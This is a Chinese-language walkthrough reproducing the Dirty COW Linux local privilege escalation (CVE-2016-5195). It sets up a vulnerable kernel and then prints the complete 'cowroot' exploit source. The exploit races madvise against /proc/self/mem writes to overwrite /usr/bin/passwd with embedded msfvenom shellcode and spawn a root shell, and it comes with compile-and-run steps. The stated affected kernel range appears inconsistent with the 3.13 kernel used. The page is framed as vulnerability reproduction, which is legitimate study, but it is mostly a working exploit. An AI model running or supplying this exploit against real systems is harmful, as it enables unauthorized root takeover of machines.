(CVE-2016-5195)脏牛Linux 本地提权

(CVE-2016-5195)脏牛Linux 本地提权

一、漏洞简介

低权限用户可利用该漏洞在大多Linux系统上实现本地提权

二、漏洞影响

影响内核版本 2.6.22<Linux Kernel < 3.2

三、复现过程

环境准备

  • 下载需要的环境 sudo apt-get install linux-image-3.13.0-24-generic

  • 修改配置文件 vim /boot/grub/grub.cfg ,仅修改图示两行即可

  • 重启后发现成功更换内核

提权

  • 下载poc,上传到环境中
  40616.c
  /*
  *
  * EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
  *
  * (un)comment correct payload first (x86 or x64)!
  * 
  * $ gcc cowroot.c -o cowroot -pthread
  * $ ./cowroot
  * DirtyCow root privilege escalation
  * Backing up /usr/bin/passwd.. to /tmp/bak
  * Size of binary: 57048
  * Racing, this may take a while..
  * /usr/bin/passwd is overwritten
  * Popping root shell.
  * Don't forget to restore /tmp/bak
  * thread stopped
  * thread stopped
  * root@box:/root/cow# id
  * uid=0(root) gid=1000(foo) groups=1000(foo)
  */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <sys/mman.h>
  #include <fcntl.h>
  #include <pthread.h>
  #include <string.h>
  #include <unistd.h>
  
  void *map;
  int f;
  int stop = 0;
  struct stat st;
  char *name;
  pthread_t pth1,pth2,pth3;
  
  // change if no permissions to read
  char suid_binary[] = "/usr/bin/passwd";
  
  /*
  * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  */ 
  unsigned char sc[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
    0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
    0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
    0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
    0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
  };
  unsigned int sc_len = 177;
  
  /*
  * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  unsigned char sc[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
    0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
    0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
    0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
    0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
    0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
    0x89, 0xe1, 0xcd, 0x80
  };
  unsigned int sc_len = 136;
  */
  
  void *madviseThread(void *arg)
  {
      char *str;
      str=(char*)arg;
      int i,c=0;
      for(i=0;i<1000000 && !stop;i++) {
          c+=madvise(map,100,MADV_DONTNEED);
      }
      printf("thread stopped
");
  }
  
  void *procselfmemThread(void *arg)
  {
      char *str;
      str=(char*)arg;
      int f=open("/proc/self/mem",O_RDWR);
      int i,c=0;
      for(i=0;i<1000000 && !stop;i++) {
          lseek(f,map,SEEK_SET);
          c+=write(f, str, sc_len);
      }
      printf("thread stopped
");
  }
  
  void *waitForWrite(void *arg) {
      char buf[sc_len];
  
      for(;;) {
          FILE *fp = fopen(suid_binary, "rb");
  
          fread(buf, sc_len, 1, fp);
  
          if(memcmp(buf, sc, sc_len) == 0) {
              printf("%s is overwritten
", suid_binary);
              break;
          }
  
          fclose(fp);
          sleep(1);
      }
  
      stop = 1;
  
      printf("Popping root shell.
");
      printf("Don't forget to restore /tmp/bak
");
  
      system(suid_binary);
  }
  
  int main(int argc,char *argv[]) {
      char *backup;
  
      printf("DirtyCow root privilege escalation
");
      printf("Backing up %s.. to /tmp/bak
", suid_binary);
  
      asprintf(&backup, "cp %s /tmp/bak", suid_binary);
      system(backup);
  
      f = open(suid_binary,O_RDONLY);
      fstat(f,&st);
  
      printf("Size of binary: %d
", st.st_size);
  
      char payload[st.st_size];
      memset(payload, 0x90, st.st_size);
      memcpy(payload, sc, sc_len+1);
  
      map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  
      printf("Racing, this may take a while..
");
  
      pthread_create(&pth1, NULL, &madviseThread, suid_binary);
      pthread_create(&pth2, NULL, &procselfmemThread, payload);
      pthread_create(&pth3, NULL, &waitForWrite, NULL);
  
      pthread_join(pth3, NULL);
  
      return 0;
  }
  
  • 编译poc gcc -o 40616 40616.c -pthread 运行即可提权

参考链接

https://blog.csdn.net/qq_45555226/article/details/102641409

原文地址:https://www.cnblogs.com/tlbjiayou/p/13353661.html